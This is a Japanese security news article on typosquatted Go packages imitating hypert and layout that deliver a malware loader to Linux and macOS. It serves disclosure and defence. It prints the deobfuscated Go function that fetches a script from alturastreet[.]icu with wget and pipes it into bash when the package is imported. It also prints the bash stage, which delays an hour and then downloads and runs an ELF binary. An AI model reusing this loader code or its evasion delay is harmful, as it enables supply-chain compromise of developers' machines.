
Socket のセキュリティ研究者は、Goエコシステム内でタイポスクワッティング(typosquatting)によるサイバー攻撃が行われ、悪意のあるパッケージがLinuxおよびmacOSを標的としたマルウェアローダーを配布していることを発見しました。
サイバー攻撃の概要
この攻撃では、脅威アクターが正規のGoライブラリに似たパッケージ名を使用して、少なくとも7つの悪意のあるパッケージをGo Module Mirror上に公開しました。特にgithub.com/shallowmulti/hypert
というパッケージは、金融業界の開発者を標的としている可能性が高いとされています。
これらのパッケージには、共通する悪意のあるファイル名や一貫した難読化技術が確認されており、組織的な攻撃グループが関与していることが示唆されます。
現時点では、これらのパッケージはGo Module Mirror上でアクセス可能な状態ですが、削除を要請し、関連するGitHubリポジトリとユーザーアカウントを報告済みとのことです。
タイポスクワッティングによる偽装攻撃
2025年2月、サイバー攻撃者はGo Module Mirror上に4つの「hypert」ライブラリを模倣する悪意のあるパッケージを公開しました。
正規のgithub.com/areknoster/hypert
(HTTP APIクライアントのテストツール)に酷似したパッケージを作成し、開発者を騙してインストールさせる手法が確認されています。これらのパッケージはGo Module Mirrorで正規ライブラリのhypertより上位に表示されていました。
◆悪意のあるパッケージ◆
- github.com/shallowmulti/hypert
- github.com/shadowybulk/hypert
- github.com/belatedplanet/hypert
- github.com/thankfulmai/hypert
これらのパッケージには、リモートコード実行(RCE)を可能にする隠し関数が埋め込まれていました。
画像:Socket
悪意のあるコードの動作
悪意のあるパッケージの1つgithub.com/shallowmulti/hypert
では、qcJjJne()
関数がバックグラウンドでシェルコマンドを実行し、遠隔サーバー(alturastreet[.]icu
)からスクリプトをダウンロードし実行します。
たとえば、この亜種では悪意のあるペイロードは次のように自動的に実行されます。
var ttDijVH = qcJjJne() // インポート時にqcJjJne()が実行される
以下はこの亜種から抽出した難読化解除、修正、注釈付けされたコードshallowmulti/hypertスニペットです。
func qcJjJne() error {
// Array of single-character strings used for obfuscation
qAYW := []string{
"d","O","n","t","|","u","d","/","d","s","a","1","0","r","a","g","e","u","-","s","&","/","t","t",
"a","b","/","5","3","w","3","e","p","t","a","g","/"," ","b","l",".","s","c","s"," ","-","o","t",
"4","r","/","h"," ","/","r"," ","h","t","b","i","7","e","/","t","3","6","f","a","e","i","e"," ",
":", "f"," ",
}
// /bin/sh and -c are used to invoke a shell command
QJqmcouO := "/bin/sh"
Tsfs := "-c"
// The following line assembles the malicious command by concatenating elements of qAYW:
// Result: "wget -O - https://alturastreet[.]icu/storage/de373d0df/a31546bf | /bin/bash &"
fFadxxb := qAYW[29] + qAYW[15] + qAYW[70] + ... + qAYW[9] + qAYW[51] + qAYW[52] + qAYW[20]
// Executes the malicious command in a shell, starting in the background
exec.Command(QJqmcouO, Tsfs, fFadxxb).Start()
return nil
}
このスニペットは関数がバックグラウンドでシェルコマンドを実行し、遠隔サーバー(alturastreet[.]icu
)からスクリプトをダウンロードし実行します。
マルウェアローダーの動作
前段の手法から悪意のあるスクリプトが実行されると、Linux および macOS システムのバックグラウンドで実行されるように設計されたステルス性の高い ELF ファイル (f0eee999) がダウンロードされます。
#!/bin/bash
cd ~
# 1. Moves into the current user's home directory
if [[ "$OSTYPE" == "linux-gnu"* ]]; then
# 2. Checks if the script is running on a Linux environment
if ! [ -f ./f0eee999 ]; then
# 3. Verifies if the file 'f0eee999' does not already exist in the home directory
sleep 3600
# 4. Waits for 3600 seconds (1 hour)
wget https://alturastreet[.]icu/storage/de373d0df/f0eee999
# 5. Downloads the ELF binary 'f0eee999' from a remote domain
chmod +x ./f0eee999
# 6. Makes the downloaded file executable
app_process_id=$(pidof f0eee999)
if [[ -z $app_process_id ]]; then
# 7. If 'f0eee999' is not already running, execute it.
./f0eee999
fi
fi
fi
悪意のあるドメインalturastreet[.]icu
は、正規の金融機関「Altura Credit Union」のWebサイト(alturacu.com
)に類似しており、利用者を混乱させる意図があると考えられます。
さらにこのスクリプトは、サンドボックス分析を回避するために遅延実行方式を採用していると思われます。
スクリプト実行を 1 時間遅らせることで、マルウェアは即時の検出を回避し、一定期間後にのみ実行されるため、セキュリティツールによる追跡が困難になります。
同じ脅威アクターによる別の偽装ライブラリ
攻撃者は、さらにhypertライブラリのほかにも、github.com/loov/layoutを模倣した3つの悪意のあるパッケージを公開しています。
- github.com/vainreboot/layout
- github.com/ornatedoctrin/layout
- github.com/utilizedsun/layout
画像:Socket
公開時期や類似手法の難読化などを行っており、この脅威アクターが仕掛けた同一のサプライ チェーン攻撃の一部であることが確認できるとしています。
対策と推奨事項
これらの攻撃は、ソフトウェアサプライチェーンの脆弱性を悪用した典型的なケースであり、開発者は慎重な対応が求められます。
まず、依存パッケージの確認が重要です。正規のGoライブラリを利用しているかを確認し、公式リポジトリであるGitHubやGo Module Mirrorを直接チェックすることが推奨されます。
また、パッケージのメタデータを詳細に調査し、作成者や更新履歴を慎重に精査することで、不正なパッケージの混入を防ぐことができます。
加えて、自動スキャンツールの導入も有効な対策の一つです。
Goモジュールのリアルタイムスキャンを実施し、不審なコードが含まれていないかをチェックすることで、悪意のあるパッケージのインストールを未然に防ぐことができます。
また、静的解析ツール(SAST)やソフトウェア部品表(SBOM)を活用し、コードの安全性を確保することが望まれます。
さらに、エンドポイント保護(EDR)を導入し、不審な挙動や異常なネットワーク通信を常時監視することで、攻撃の兆候を早期に検知できる環境を整えることが重要です。
参照
Typosquatted Go Packages Deliver Malware Loader Targeting Linux and macOS Systems